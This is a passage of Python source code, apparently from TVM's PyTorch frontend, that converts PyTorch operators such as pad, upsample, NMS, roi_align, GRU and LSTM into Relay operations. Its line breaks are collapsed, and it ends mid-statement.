need_reshape_output = False if len(a_shape) != 3: a = _op.reshape(inputs_0, [-1, a_shape[-2], a_shape[-1]]) need_reshape_output = True else: a = inputs_0 # Transpose matrix dimensions of b. trans_axes = list(range(len(b_shape))) trans_axes[-2], trans_axes[-1] = trans_axes[-1], trans_axes[-2] b = _op.transpose(inputs_1, trans_axes) # Convert b into a 3 dimensional tensor. Note that the last two dimensions # are transposed. if len(b_shape) != 3: b = _op.reshape(b, [-1, b_shape[-1], b_shape[-2]]) # Perform a batch matmul. output = _op.nn.batch_matmul(a, b) # Reshape output to original dimensions. if need_reshape_output: return _op.reshape(output, [*a_shape[:-2], a_shape[-2], b_shape[-1]]) return output elif len(a_shape) > 2: inputs_0 = _op.reshape(inputs_0, [-1, a_shape[-1]]) if len(b_shape) > 2: trans_axes = list(range(len(b_shape))) trans_axes[-2], trans_axes[-1] = trans_axes[-1], trans_axes[-2] input_1 = _op.reshape(_op.transpose(inputs_1, trans_axes), [-1, b_shape[-2]]) elif len(b_shape) == 2: input_1 = _op.transpose(inputs_1, axes=(1, 0)) elif len(b_shape) == 1: input_1 = _op.expand_dims(inputs_1, 0, 1) out = _op.nn.dense(inputs_0, input_1) if len(b_shape) == 1: out = _op.squeeze(out, axis=[-1]) # Reshape output into a N dimensional tensor when a or b dim > 2 if len(a_shape) > 2: out = _op.reshape(out, [*a_shape[:-1], b_shape[-1]]) elif len(b_shape) > 2: out = _op.reshape(out, [a_shape[-2], -1, b_shape[-1]]) out = _op.reshape( _op.transpose(out, [1, 0, 2]), [*b_shape[:-2], a_shape[-2], b_shape[-1]] ) return out def expand(self, inputs, input_types): data_in = inputs[0] shape = list(self.infer_shape(data_in)) ndims = len(shape) sizes = inputs[1] out = data_in out_dims = len(sizes) if ndims < out_dims: num_newaxis = out_dims - ndims out = _op.expand_dims(out, axis=0, num_newaxis=num_newaxis) shape = [1] * num_newaxis + shape for i in range(out_dims): if sizes[i] != -1 and shape[i] == 1: if not isinstance(sizes[i], int): sizes[i] = int(_infer_value(sizes[i], {}).numpy()) out = _op.repeat(out, sizes[i], axis=i) return out def int(self, inputs, input_types): if isinstance(inputs[0], _expr.Expr): return inputs[0] return int(inputs[0]) def identity(self, inputs, input_types): return inputs[0] def none(self, inputs, input_types): return None def make_pad(self, mode): def pad(inputs, input_types): data = inputs[0] if isinstance(inputs[1], list): pad_list = inputs[1] else: pad_list = list(self.infer_shape(inputs[1])) # initialize paddings based on input len pad_len = len(self.infer_shape(data)) * 2 paddings = [0] * pad_len if len(pad_list) >= 2: paddings[-1] = pad_list[1] paddings[-2] = pad_list[0] if len(pad_list) >= 4: paddings[-3] = pad_list[3] paddings[-4] = pad_list[2] if len(pad_list) >= 6: paddings[-5] = pad_list[5] paddings[-6] = pad_list[4] # group into tuple of 2 ints paddings = [paddings[i : i + 2] for i in range(0, len(paddings), 2)] const_paddings = [] for pad in paddings: const_paddings.append([]) for p in pad: if not isinstance(p, int): p = int(_infer_value(p, {}).numpy()) const_paddings[-1].append(p) if mode == "constant": return _op.nn.pad(data, const_paddings, pad_value=inputs[2], pad_mode=mode) else: return _op.nn.pad(data, const_paddings, pad_mode=mode) return pad def clamp(self, inputs, input_types): data = inputs[0] def get_v(v, default_v): if isinstance(v, _expr.Constant): return float(v.data.numpy()) if isinstance(v, _expr.Expr): infer_v, success = try_infer_value(v, lambda ret: float(ret)) if success: return infer_v if v is not None: return v return default_v amin = get_v(inputs[1], np.finfo(np.float32).min) amax = get_v(inputs[2], np.finfo(np.float32).max) return _op.clip(data, amin, amax) def to(self, inputs, input_types): data = inputs[0] dtype = inputs[1] if inputs[1] is not None and not isinstance(inputs[1], str) else inputs[2] # special handling for aten::to(data, 6, _, _, _) case # 6 means dtype = float # this happens when converting upsampling with scale factor cast_map = { 5: "float16", 6: "float32", 7: "float64", 3: "int32", 4: "int64", } cast_func = {5: float, 6: float, 7: float, 3: int, 4: int} ret = data if isinstance(data, _expr.Expr): actual_dtype = str(self.infer_type(data).dtype) if dtype in cast_map and cast_map[dtype] != actual_dtype: ret = _op.cast(data, cast_map[dtype]) elif dtype in cast_map: ret = cast_func[dtype](data) return ret def get_upsample_out_size(self, inputs, method): # This assumes a static shape out_size = [] if inputs[1] is not None: for size in inputs[1]: if not isinstance(size, int): out_size.append(int(_infer_value(size, {}).numpy())) else: out_size.append(size) else: scale_index = 3 if method != "nearest_neighbor" else 2 scales = inputs[scale_index] assert scales is not None, "neither out size nor scale provided" assert isinstance(scales, list) ishape = self.infer_shape(inputs[0]) for i, scale in enumerate(scales): out_size.append(int(math.floor(float(ishape[2 + i]) * scale))) return out_size def make_upsample(self, method): def upsample(inputs, input_types): data = inputs[0] out_size = self.get_upsample_out_size(inputs, method) if len(inputs) > 2 and method != "nearest_neighbor": align_corners = inputs[2] else: align_corners = False if method == "nearest_neighbor": coord_trans = "asymmetric" elif align_corners: coord_trans = "align_corners" else: coord_trans = "half_pixel" def func(x): return _op.image.resize2d( x, out_size, "NCHW", method, coord_trans, cubic_alpha=-0.75 ) if self.is_quantized_tensor(data): # input qparams are manually appended by us assert isinstance(inputs[-2], float) assert isinstance(inputs[-1], int) input_scale = _expr.const(inputs[-2]) input_zero_point = _expr.const(inputs[-1]) return qnn_torch.quantized_upsample(data, input_scale, input_zero_point, func) return func(data) return upsample def make_upsample3d(self, method): def upsample3d(inputs, input_types): data = inputs[0] out_size = self.get_upsample_out_size(inputs, method) if len(inputs) > 2 and method == "linear": align_corners = inputs[2] else: align_corners = False if method == "nearest_neighbor": coord_trans = "asymmetric" elif align_corners: coord_trans = "align_corners" else: coord_trans = "half_pixel" return _op.image.resize3d(data, out_size, "NCDHW", method, coord_trans) return upsample3d def expand_as(self, inputs, input_types): target = inputs[1] t0 = self.infer_type(inputs[0]).dtype t1 = self.infer_type(inputs[1]).dtype if str(t0) != str(t1): target = _op.cast(target, t0) return _op.broadcast_to_like(inputs[0], target) def Bool(self, inputs, input_types): assert len(inputs) == 1 return inputs[0] def Float(self, inputs, input_types): assert len(inputs) == 1 return _op.cast(inputs[0], "float32") def bitwise_not(self, inputs, input_types): data = inputs[0] # The input tensor must be of integral or Boolean types. # For bool tensors, it computes the logical NOT if input_types[0] == "bool": out = _op.logical_not(_op.cast(data, "bool")) else: out = _op.bitwise_not(_op.cast(data, "int")) return out def bitwise_xor(self, inputs, input_types): lhs = inputs[0] rhs = inputs[1] lhs = _op.cast(lhs, "bool") if input_types[0] == "bool" else _op.cast(lhs, "int") rhs = _op.cast(rhs, "bool") if input_types[1] == "bool" else _op.cast(rhs, "int") return _op.bitwise_xor(lhs, rhs) def logical_not(self, inputs, input_types): data = _wrap_const(inputs[0]) return _op.logical_not(_op.cast(data, "bool")) def logical_xor(self, inputs, input_types): lhs = _op.cast(inputs[0], "bool") rhs = _op.cast(inputs[1], "bool") return _op.logical_xor(lhs, rhs) def list_getitem(self, inputs, input_types): return self.prelude.nth(inputs[0], _wrap_const(inputs[1])) def list_len(self, inputs, input_types): return self.prelude.length(inputs[0]) def type_as(self, inputs, input_types): assert len(inputs) == 2 assert len(input_types) == 2 return _op.cast(inputs[0], input_types[1]) def gather(self, inputs, input_types): data = inputs[0] axis = inputs[1] indices = inputs[2] return _op.gather(data, axis, indices) def add(self, inputs, input_types): # add_ is overloaded for tensor add and list concat if input_types[0] == "ListType": return self.prelude.concat(inputs[0], inputs[1]) return self.make_elemwise("add")(inputs, input_types) def tensor_array_stack(self, inputs, input_types): dim = inputs[1] assert dim == 0, "stacking on a dynamic tensor list only supported on a first axis" tensor_array, shape = self.convert_to_tensor_array(inputs[0]) stacked_shape = (Any(),) + shape stack = self.prelude.get_global_var_static("tensor_array_stack", "float32", shape) stacked = stack(tensor_array) static_tensor_array_ops = StaticTensorArrayOps(self.prelude, "float32", stacked_shape) static_tensor_array_ops.register() get_tensor = self.prelude.get_global_var_static("tensor_get_data", "float32", stacked_shape) return get_tensor(stacked) def stack(self, inputs, input_types): if isinstance(inputs[0], list): # a static python list of tensors dim = inputs[1] return _op.stack(inputs[0], dim) else: # List ADT case assert isinstance(inputs[0], _expr.Expr) ty = self.infer_type_with_prelude(inputs[0]) list_ty = self.prelude.mod.get_global_type_var("List") msg = "The input list is expected to be List ADT" assert isinstance(ty, tvm.ir.TypeCall) and ty.func == list_ty, msg return self.tensor_array_stack(inputs, input_types) def rsub(self, inputs, input_types): data0, data1 = self.pytorch_promote_types(inputs[:2], input_types[:2]) # TODO (t-vi): should this also be part of the type promotion? alpha = _expr.const(float(inputs[2])) # note: rsub means data0 and data1 swap places return get_relay_op("subtract")(data1, alpha * data0) def embedding(self, inputs, input_types): weight = inputs[0] indices = inputs[1] return _op.take(weight, indices.astype("int32"), axis=0) def one_hot(self, inputs, input_types): indices = inputs[0].astype("int32") num_classes = inputs[1] if num_classes == -1: msg = "Inferring the number of classes is not yet supported." raise NotImplementedError(msg) dtype = "int32" on_value = tvm.relay.const(1.0, dtype) off_value = tvm.relay.const(0.0, dtype) return _op.one_hot(indices, on_value, off_value, num_classes, -1, dtype) def index(self, inputs, input_types): data = inputs[0] indices = inputs[1] return _op.adv_index([data] + indices) def meshgrid(self, inputs, input_types): data = inputs[0] return _op.meshgrid(data, indexing="ij") def nms(self, inputs, input_types): boxes = inputs[0] scores = inputs[1] iou_threshold = inputs[2] # TVM NMS assumes score > 0 scores = scores - _op.min(scores) + _op.const(1.0) num_boxes = _op.shape_of(scores) # PyTorch NMS doesn't have score_threshold, so no need to run get_valid_count indices = _op.transform.arange(_op.squeeze(num_boxes), dtype="int32") indices = _op.expand_dims(indices, 0, 1) # Generate data with shape (1, num_anchors, 5) scores = AttrCvt(op_name="expand_dims", extras={"axis": -1, "num_newaxis": 1})([scores], {}) data = _op.concatenate([scores, boxes], -1) data = _op.expand_dims(data, 0, 1) # Perform Non-Maximum Suppression, # PyTorch NMS doesn't have parameter top_k and max_output_size score_index = 0 top_k = max_out_size = -1 nms_ret = get_relay_op("non_max_suppression")( data=data, valid_count=num_boxes, indices=indices, max_output_size=max_out_size, iou_threshold=iou_threshold, force_suppress=True, top_k=top_k, coord_start=1, score_index=score_index, id_index=-1, return_indices=True, invalid_to_bottom=False, ) # squeeze the two outputs of nms for strided_slice size = get_relay_op("squeeze")(nms_ret[1], axis=[1]) data_slice = get_relay_op("squeeze")(nms_ret[0], axis=[0]) # strided slice to get the dynamic result ret = get_relay_op("strided_slice")( data_slice, begin=_expr.const([0]), end=size, slice_mode="size" ) # in torchvision, indices from nms are int64 return _op.cast(ret, "int64") def logsumexp(self, inputs, input_types): data = self.pytorch_promote_types(inputs[:1], input_types[:1]) dim_list = inputs[1] keepdim = inputs[2] if len(inputs) > 2 else False # dim is output of prim::ListConstruct, even if it is int in python code assert isinstance(dim_list, list), "dim is expected to be a list" return _op.logsumexp(data[0], axis=dim_list, keepdims=keepdim) def roi_align(self, inputs, input_types): data = inputs[0] boxes = inputs[1] output_size = (inputs[3], inputs[4]) spatial_scale = inputs[2] sample_ratio = inputs[5] aligned = False if len(inputs) < 7 else inputs[6] if aligned: boxes -= _expr.const(0.5 / spatial_scale) return _op.vision.roi_align(data, boxes, output_size, spatial_scale, sample_ratio) def deform_conv2d(self, inputs, input_types): data = inputs[0] weight = inputs[1] offset = inputs[2] strides = (inputs[4], inputs[5]) padding = (inputs[6], inputs[7]) dilation = (inputs[8], inputs[9]) groups = inputs[10] deformable_groups = inputs[11] weight_shape = self.infer_shape(weight) output_channels = weight_shape[0] kernel_size = (weight_shape[2], weight_shape[3]) return _op.nn.deformable_conv2d( data, offset, weight, strides, padding, dilation, deformable_groups, groups, output_channels, kernel_size, ) def unbind(self, inputs, input_types): data = inputs[0] axis = int(inputs[1]) return unbind(data, axis) def shape_as_tensor(self, inputs, input_types): is_symbolic_shape = False input_shape = self.infer_shape(inputs[0], self.prelude.mod) for axis in input_shape: if not isinstance(axis, (int, tvm.tir.IntImm)): is_symbolic_shape = True break if is_symbolic_shape: ret = _op.shape_of(inputs[0], dtype="int64") else: ret = _expr.const(np.array(input_shape), dtype="int64") return ret def logical_and(self, inputs, input_types): lhs = _op.cast(inputs[0], "bool") rhs = _op.cast(inputs[1], "bool") return _op.logical_and(lhs, rhs) def nonzero(self, inputs, input_types, is_numpy_style=False): data = inputs[0] ret = _op.transform.argwhere(data) if is_numpy_style or (len(inputs) > 1 and inputs[1]): return unbind(ret, 1) return ret def nonzero_numpy(self, inputs, input_types): return self.nonzero(inputs, input_types, is_numpy_style=False) def scatter(self, inputs, input_types): data = inputs[0] axis = int(inputs[1]) index = inputs[2] src = inputs[3] return _op.transform.scatter(data, index, src, axis) def index_put(self, inputs, input_types): in_tensor = inputs[0] indices = inputs[1] values = inputs[2] accumulate = inputs[3] if not accumulate: mode = "update" else: mode = "add" # Combine array of index tensors into one index tensor with shape (N,_) index_tensor = _op.stack(indices, axis=0) return _op.transform.scatter_nd(in_tensor, index_tensor, values, mode) def scalar_tensor(self, inputs, input_types): data = inputs[0] cast_map = { 6: "float32", 7: "float64", 3: "int32", 4: "int64", } type_key = inputs[1] if isinstance(data, _expr.Constant): data = data.data.numpy().tolist() return _expr.const(data, cast_map[type_key]) def interpolate(self, inputs, input_types): if isinstance(inputs[1], _expr.Expr): out_size = inputs[1] elif isinstance(inputs[1], list): out_size = [] for i in [0, 1]: size, _ = try_infer_value( inputs[1][i], lambda ret: ret.astype(np.int), lambda: _op.expand_dims(inputs[1][i], axis=0), ) out_size.append(size) out_size = _op.concatenate(out_size, axis=0) data = inputs[0] align_corners = inputs[4] method = inputs[3] if method.startswith("nearest"): method = "nearest_neighbor" elif method[0:2] == "bi": method = method[2:] if method == "nearest_neighbor": coord_trans = "asymmetric" elif align_corners: coord_trans = "align_corners" else: coord_trans = "half_pixel" return _op.image.resize2d(data, out_size, "NCHW", method, coord_trans, cubic_alpha=-0.75) def numel(self, inputs, input_types): return _op.ndarray_size(inputs[0]) def empty(self, inputs, input_types): shape = inputs[0] return _op.zeros(shape, _convert_dtype_value(inputs[1])) def bincount(self, inputs, input_types): data = inputs[0] weights = inputs[1] input_type = self.infer_type(data).dtype if input_type == "int64": logging.warning( "Casting an int64 input to int32, since we do not have int64 atomic add" "needed for bincount yet." ) data = _op.cast(data, "int32") maximum = _op.max(data) dim = maximum + _expr.const(1, dtype="int32") if weights: weight_type = self.infer_type(weights) out_dtype = weight_type.dtype updates = weights else: out_dtype = "int32" updates = _op.ones_like(data) counts = _op.zeros(_op.reshape(dim, [1]), out_dtype) out = _op.scatter_add(counts, data, updates, axis=0) if input_type == "int32": # Torch always outputs int64 results for bincount return _op.cast(out, "int64") return out def scatter_add(self, inputs, input_types): data = inputs[0] axis = inputs[1] index = inputs[2] src = inputs[3] return _op.scatter_add(data, index, src, axis=axis) def cumsum(self, inputs, input_types): data = inputs[0] dim = inputs[1] dtype = inputs[2] if inputs[2] is not None: dtype = _convert_dtype_value(inputs[2]) return _op.cumsum(data, axis=dim, dtype=dtype) def masked_fill(self, inputs, input_types): mask = inputs[1] value = _op.cast(_wrap_const(inputs[2]), input_types[0]) return _op.where(mask, value, inputs[0]) def masked_select(self, inputs, input_types): mask = inputs[1] indices = self.nonzero([mask], input_types, is_numpy_style=True) return _op.adv_index([inputs[0]] + [indices[i] for i in range(indices.size)]) def sort(self, inputs, input_types): data = inputs[0] dim = inputs[1] is_descending = inputs[2] # pytorch sort returns both sorted indices and values indices = _op.argsort(data, dim, not is_descending) return _op.gather(data, dim, indices), indices def argsort(self, inputs, input_types): data = inputs[0] dim = inputs[1] is_descending = inputs[2] return _op.argsort(data, dim, not is_descending) def is_floating_point(self, inputs, input_types): assert len(inputs) == 1 if isinstance(inputs[0], _expr.Expr): input_type = self.infer_type(inputs[0]).dtype else: input_type = input_types[0] is_float = input_type in ["float32", "float64", "float16", "bfloat16"] return _expr.const(is_float) def unique(self, inputs, input_types): assert len(inputs) == 4 [data, is_sorted, return_inverse, return_counts] = inputs if not is_sorted: logging.warning("TVM always assumes sorted=True for torch.unique") is_sorted = True if return_counts: [unique, indices, inverse_indices, num_uniq, counts] = _op.unique( data, is_sorted=is_sorted, return_counts=True ) unique_sliced = _op.strided_slice(unique, begin=[0], end=num_uniq, slice_mode="size") counts_sliced = _op.strided_slice(counts, begin=[0], end=num_uniq, slice_mode="size") return (unique_sliced, inverse_indices, counts_sliced) else: [unique, indices, inverse_indices, num_uniq] = _op.unique( data, is_sorted=is_sorted, return_counts=False ) unique_sliced = _op.strided_slice(unique, begin=[0], end=num_uniq, slice_mode="size") return (unique_sliced, inverse_indices) def nll_loss(self, inputs, input_types): assert len(inputs) == 5 [predictions, targets, weights, reduction, ignore_index] = inputs num_class = self.infer_shape(predictions)[1] if reduction == 0: reduction = "none" elif reduction == 1: reduction = "mean" else: reduction = "sum" if weights is None: weights = _op.full(_expr.const(1), (num_class,), dtype=input_types[0]) return _op.nn.nll_loss(predictions, targets, weights, reduction, ignore_index) def flip(self, inputs, input_types): data = inputs[0] axis = inputs[1] return _op.transform.reverse(data, axis=axis[0]) def bidir_gru_cell( self, input_seqs, weights_dicts, ): """ Bidirectional GRU cell """ seq_len = len(input_seqs) forward_outputs, fw_H_t = gru_cell( input_seqs, **weights_dicts[0], ) reverse_outputs, rev_H_t = gru_cell( input_seqs, **weights_dicts[1], backwards=True, ) final_outputs = [] for i in range(seq_len): final_outputs.append( _op.concatenate([forward_outputs[i], reverse_outputs[seq_len - 1 - i]], axis=-1) ) return final_outputs, _op.stack([fw_H_t, rev_H_t], axis=0) def gru_layers(self, input_data, layer_weights_dicts, bidirectional, dropout_p=0.0): """ Methods iterates layers for Stacked GRU """ layers_num = len(layer_weights_dicts) # split input sequence to samples set input_seqs = unbind(input_data, 0) # [seq_num, (batch, feature_size)] output_hiddens = [] for i in range(layers_num): weights_dicts = layer_weights_dicts[i] # input_seqs shape = [seq_num, (batch, feature_size)] or # [seq_num, (batch, 2*feature_size)] for bidirectional if bidirectional: input_seqs, H_t = self.bidir_gru_cell(input_seqs, weights_dicts) else: input_seqs, H_t = gru_cell(input_seqs, **weights_dicts[0]) output_hiddens.append(H_t) # TODO (vvchernov): in pytorch implementation train is also checked # see https://github.com/pytorch/pytorch/blob/70c8daf43946b53af6493d058899ef952d27d339 # /aten/src/ATen/native/RNN.cpp#L1054 if dropout_p != 0 and i < layers_num - 1: # for input in input_seqs: # input = _op.dropout(input, dropout_p) raise NotImplementedError("Dropout for GRU has not been supported yet!") return _op.stack(input_seqs, 0), _op.stack(output_hiddens, 0) def gru(self, inputs, input_types): """ Description of GRU in pytorch: https://pytorch.org/docs/stable/generated/torch.nn.GRU.html?highlight=gru#torch.nn.GRU """ # TODO (vvchernov): support dropout assert len(inputs) == 9, "Input of size 9 is expected" # Unpack inputs, note that if optional and not provided then value will be None. _X = inputs[0] # _X shape (seq_num, batch, feature_size) or (batch, seq_num, feature_size) hidden_state = inputs[1] # Hidden state shape (hidden_layers_num, batch, hidden_size) _weights = inputs[2] # Wi layer[0] shape (3 * hidden_size, feature_size) # Wh layer[0] shape (3 * hidden_size, hidden_size) # Bi layer[0] shape (3 * hidden_size) # Bh layer[0] shape (3 * hidden_size) # Wi layer[>0] shape (3 * hidden_size, hidden_size * num_directions) # Wh layer[>0] shape (3 * hidden_size, hidden_size) # Bi layer[>0] shape (3 * hidden_size) # Bh layer[>0] shape (3 * hidden_size) # Scalar inputs has_biases = inputs[3] num_layers = inputs[4] dropout_p = inputs[5] # dropout probability, if 0.0 it means there is no dropout # train = inputs[6] bidirectional = inputs[7] batch_first = inputs[8] num_directions = 1 if bidirectional: num_directions = 2 rsd = len(_weights) % num_layers assert rsd == 0, "The number of weights must be a multiple of the number of layers!" rsd = (len(_weights) / num_layers) % num_directions assert ( rsd == 0 ), "The number of weights in layer must be a multiple of the number of directions!" weights_num = int(len(_weights) / num_layers / num_directions) if has_biases: assert weights_num == 4, "The weights number in layer is expected equal to 4" else: assert weights_num == 2, "The weights number in layer is expected equal to 2" X = _op.transpose(_X, (1, 0, 2)) if batch_first else _X # TODO (vvchernov): Which data type should be used? from input or weights? # Instead of it _infer_type(X).checked_type.dtype can be used X_dtype = input_types[0] X_shape = _infer_shape(X) # (seq_num, batch, feature_size) hidden_size = int(_infer_shape(_weights[0])[0] / 3) batch_size = X_shape[1] # Initialize hidden states if not provided. layers_h = [] hidden_layers_num = num_directions * num_layers if hidden_state is None: h_0 = _op.zeros((batch_size, hidden_size), X_dtype) for i in range(hidden_layers_num): layers_h.append(h_0) else: layers_h = unbind(hidden_state, 0) layer_weights_dicts = [] k = 0 # layer counter if has_biases: names = ["hidden_state", "w_inp", "w_hid", "b_inp", "b_hid"] if bidirectional: rsd = len(_weights) % (2 * weights_num) assert rsd == 0, "got an incorrect number of GRU weights" for i in range(0, len(_weights), 2 * weights_num): fw_tensors = [layers_h[2 * k], *_weights[i : i + 4]] fw_weights_dict = dict(zip(names, fw_tensors)) j = i + weights_num rev_tensors = [layers_h[2 * k + 1], *_weights[j : j + 4]] rev_weights_dict = dict(zip(names, rev_tensors)) layer_weights_dicts.append([fw_weights_dict, rev_weights_dict]) k += 1 else: assert len(_weights) % weights_num == 0, "got an incorrect number of GRU weights" for i in range(0, len(_weights), weights_num): fw_tensors = [layers_h[k], *_weights[i : i + 4]] fw_weights_dict = dict(zip(names, fw_tensors)) layer_weights_dicts.append([fw_weights_dict]) k += 1 else: names = ["hidden_state", "w_inp", "w_hid"] if bidirectional: rsd = len(_weights) % (2 * weights_num) assert rsd == 0, "got an incorrect number of GRU weights" for i in range(0, len(_weights), 2 * weights_num): fw_tensors = [layers_h[2 * k], *_weights[i : i + 2]] fw_weights_dict = dict(zip(names, fw_tensors)) j = i + weights_num rev_tensors = [layers_h[2 * k + 1], *_weights[j : j + 2]] rev_weights_dict = dict(zip(names, rev_tensors)) layer_weights_dicts.append([fw_weights_dict, rev_weights_dict]) k += 1 else: assert len(_weights) % weights_num == 0, "got an incorrect number of GRU weights" for i in range(0, len(_weights), weights_num): fw_tensors = [layers_h[k], *_weights[i : i + 2]] fw_weights_dict = dict(zip(names, fw_tensors)) layer_weights_dicts.append([fw_weights_dict]) k += 1 assert ( len(layer_weights_dicts) == num_layers and k == num_layers ), "For stacked GRU number of weights sets should be the same as number of layers!" output, out_hidden_state = self.gru_layers( X, layer_weights_dicts, bidirectional, dropout_p=dropout_p, ) # output shape = (seq_num, batch, hidden_size) or # (seq_num, batch, 2*feature_size) for bidirectional if batch_first: output = _op.transpose(output, (1, 0, 2)) return (output, out_hidden_state) def bidir_lstm_cell( self, input_seqs, weights_dicts, ): """ Bidirectional LSTM cell """ seq_len = len(input_seqs) forward_outputs, fw_H_t, fw_C_t = lstm_cell( input_seqs, **weights_dicts[0], ) reverse_outputs, rev_H_t, rev_C_t = lstm_cell( input_seqs, **weights_dicts[1], backwards=True, ) final_outputs = [] for i in range(seq_len): final_outputs.append( _op.concatenate([forward_outputs[i], reverse_outputs[seq_len - 1 - i]], axis=-1) ) return final_outputs, (fw_H_t, fw_C_t), (rev_H_t, rev_C_t) def lstm_layers(self, input_data, layer_weights_dicts, bidirectional, dtype, dropout_p=0.0): """ Methods iterates layers for Stacked LSTM """ layers_num = len(layer_weights_dicts) # split input sequence to samples set input_seqs = unbind(input_data, 0) # [seq_num, (batch, feature_size)] output_hiddens = [] for i in range(layers_num): weights_dicts = layer_weights_dicts[i] # input_seqs shape = [seq_num, (batch, feature_size)] or # [seq_num, (batch, 2*feature_size)] for bidirectional if bidirectional: input_seqs, H_t, C_t = self.bidir_lstm_cell(input_seqs, weights_dicts) else: input_seqs, H_t, C_t = lstm_cell(input_seqs, **weights_dicts[0]) output_hiddens.append((H_t, C_t)) # TODO (vvchernov): in pytorch implementation train is also checked # see https://github.com/pytorch/pytorch/blob/70c8daf43946b53af6493d058899ef952d27d339 # /aten/src/ATen/native/RNN.cpp#L1054 if dropout_p != 0 and i < layers_num - 1: # for input in input_seqs: # input = _op.dropout(input, dropout_p) raise NotImplementedError("Dropout for LSTM has not been supported yet!") final_hiddens = [] if bidirectional: for output_hidden in output_hiddens: final_hiddens.append(output_hidden[0]) final_hiddens.append(output_hidden[1]) else: final_hiddens = output_hiddens return _op.stack(input_seqs, 0), final_hiddens def lstm(self, inputs, input_types): """ Description of LSTM in pytorch:https://pytorch.org/docs/stable/generated/torch.nn.LSTM.html Native implementation for torch version less than 1.8.0 (projection is unsupported): https://github.com/pytorch/pytorch/blob/70c8daf43946b53af6493d058899ef952d27d339/aten/ \ src/ATen/native/RNN.cpp#L1396 Native implementation for torch version from 1.8.0 and higher (projection is supported): https://github.com/pytorch/pytorch/blob/master/aten/src/ATen/native/RNN.cpp#L1483 """ # TODO (vvchernov): support dropout assert len(inputs) == 9, "Input of size 9 is expected" # Unpack inputs, note that if optional and not provided then value will be None. _X = inputs[0] # _X shape (seq_num, batch, feature_size) or (batch, seq_num, feature_size) hidden_states = inputs[1] assert len(hidden_states) == 2, "lstm expects two hidden states" h_0 = hidden_states[0] c_0 = hidden_states[1] # H0 shape (hidden_layers_num, batch, proj_size) if projection # else (hidden_layers_num, batch, hidden_size) # C0 shape (hidden_layers_num, batch, hidden_size) _weights = inputs[2] # If no projection # Wi layer[0] shape (4 * hidden_size, feature_size) # Wh layer[0] shape (4 * hidden_size, hidden_size) # Bi layer[0] shape (4 * hidden_size) # Bh layer[0] shape (4 * hidden_size) # Wi layer[>0] shape (4 * hidden_size, hidden_size * num_directions) # Wh layer[>0] shape (4 * hidden_size, hidden_size) # Bi layer[>0] shape (4 * hidden_size) # Bh layer[>0] shape (4 * hidden_size) # If projection # Wi layer[0] shape (4 * hidden_size, feature_size) # Wh layer[0] shape (4 * hidden_size, proj_size) # Bi layer[0] shape (4 * hidden_size) # Bh layer[0] shape (4 * hidden_size) # P layer[0] shape (proj_size, hidden_size) # Wi layer[>0] shape (4 * hidden_size, proj_size * num_directions) # Wh layer[>0] shape (4 * hidden_size, proj_size) # Bi layer[>0] shape (4 * hidden_size) # Bh layer[>0] shape (4 * hidden_size) # P layer[>0] shape (proj_size, hidden_size) # Scalar inputs has_biases = inputs[3] num_layers = inputs[4] dropout_p = inputs[5] # dropout probability, if 0.0 it means there is no dropout # train = inputs[6] bidirectional = inputs[7] batch_first = inputs[8] num_directions = 1 if bidirectional: num_directions = 2 rsd = len(_weights) % num_layers assert rsd == 0, "The number of weights must be a multiple of the number of layers!" rsd = (len(_weights) / num_layers) % num_directions assert ( rsd == 0 ), "The number of weights in layer must be a multiple of the number of directions!" has_proj = False proj_size = 0 weights_num = int(len(_weights) / num_layers / num_directions) if has_biases: if weights_num == 5: has_proj = True proj_size = _infer_shape(_weights[4])[0] else: assert weights_num == 4, "The weights number in layer is expected equal to 4" else: if weights_num == 3: has_proj = True proj_size = _infer_shape(_weights[2])[0] else: assert weights_num == 2, "The weights number in layer is expected equal to 2" X = _op.transpose(_X, (1, 0, 2)) if batch_first else _X # TODO (vvchernov): Which data type should be used? from input or weights? # Instead of it _infer_type(X).checked_type.dtype can be used X_dtype = input_types[0] X_shape = _infer_shape(X) # (seq_num, batch, feature_size) hidden_size = _infer_shape(_weights[0])[0] / 4 batch_size = X_shape[1] # Initialize hidden states if not provided. layers_h = [] layers_c = [] hidden_layers_num = num_directions * num_layers if h_0 is None: if has_proj: h_0 = _op.zeros((batch_size, proj_size), X_dtype) else: h_0 = _op.zeros((batch_size, hidden_size), X_dtype) for i in range(hidden_layers_num): layers_h.append(h_0) else: layers_h = unbind(h_0, 0) if c_0 is None: c_0 = _op.zeros((batch_size, hidden_size), X_dtype) for i in range(hidden_layers_num): layers_c.append(c_0) else: layers_c = unbind(c_0, 0) layer_weights_dicts = [] k = 0 # layer counter if has_biases: names = ["hidden_state", "cell_state", "w_inp", "w_hid", "b_inp", "b_hid"] if bidirectional: rsd = len(_weights) % (2 * weights_num) assert rsd == 0, "got an incorrect number of LSTM weights" for i in range(0, len(_weights), 2 * weights_num): fw_tensors = [layers_h[2 * k], layers_c[2 * k], *_weights[i : i + 4]] fw_weights_dict = dict(zip(names, fw_tensors)) if has_proj: fw_weights_dict["proj"] = _weights[i + 4] j = i + weights_num rev_tensors = [layers_h[2 * k + 1], layers_c[2 * k + 1], *_weights[j : j + 4]] rev_weights_dict = dict(zip(names, rev_tensors)) if has_proj: rev_weights_dict["proj"] = _weights[j + 4] layer_weights_dicts.append([fw_weights_dict, rev_weights_dict]) k += 1 else: assert len(_weights) % weights_num == 0, "got an incorrect number of LSTM weights" for i in range(0, len(_weights), weights_num): fw_tensors = [layers_h[k], layers_c[k], *_weights[i : i + 4]] fw_weights_dict = dict(zip(names, fw_tensors)) if has_proj: fw_weights_dict["proj"] = _weights[i + 4] layer_weights_dicts.append([fw_weights_dict]) k += 1 else: names = ["hidden_state", "cell_state", "w_inp", "w_hid"] if bidirectional: rsd = len(_weights) % (2 * weights_num) assert rsd == 0, "got an incorrect number of LSTM weights" for i in range(0, len(_weights), 2 * weights_num): fw_tensors = [layers_h[2 * k], layers_c[2 * k], *_weights[i : i + 2]] fw_weights_dict = dict(zip(names, fw_tensors)) if has_proj: fw_weights_dict["proj"] = _weights[i + 2] j = i + weights_num rev_tensors = [layers_h[2 * k + 1], layers_c[2 * k + 1], *_weights[j : j + 2]] rev_weights_dict = dict(zip(names, rev_tensors)) if has_proj: rev_weights_dict["proj"] = _weights[j + 2] layer_weights_dicts.append([fw_weights_dict, rev_weights_dict]) k += 1 else: assert len(_weights) % weights_num == 0, "got an incorrect number of LSTM weights" for i in range(0, len(_weights), weights_num): fw_tensors = [layers_h[k], layers_c[k], *_weights[i : i + 2]] fw_weights_dict = dict(zip(names, fw_tensors)) if has_proj: fw_weights_dict["proj"] = _weights[i + 2] layer_weights_dicts.append([fw_weights_dict]) k += 1 assert 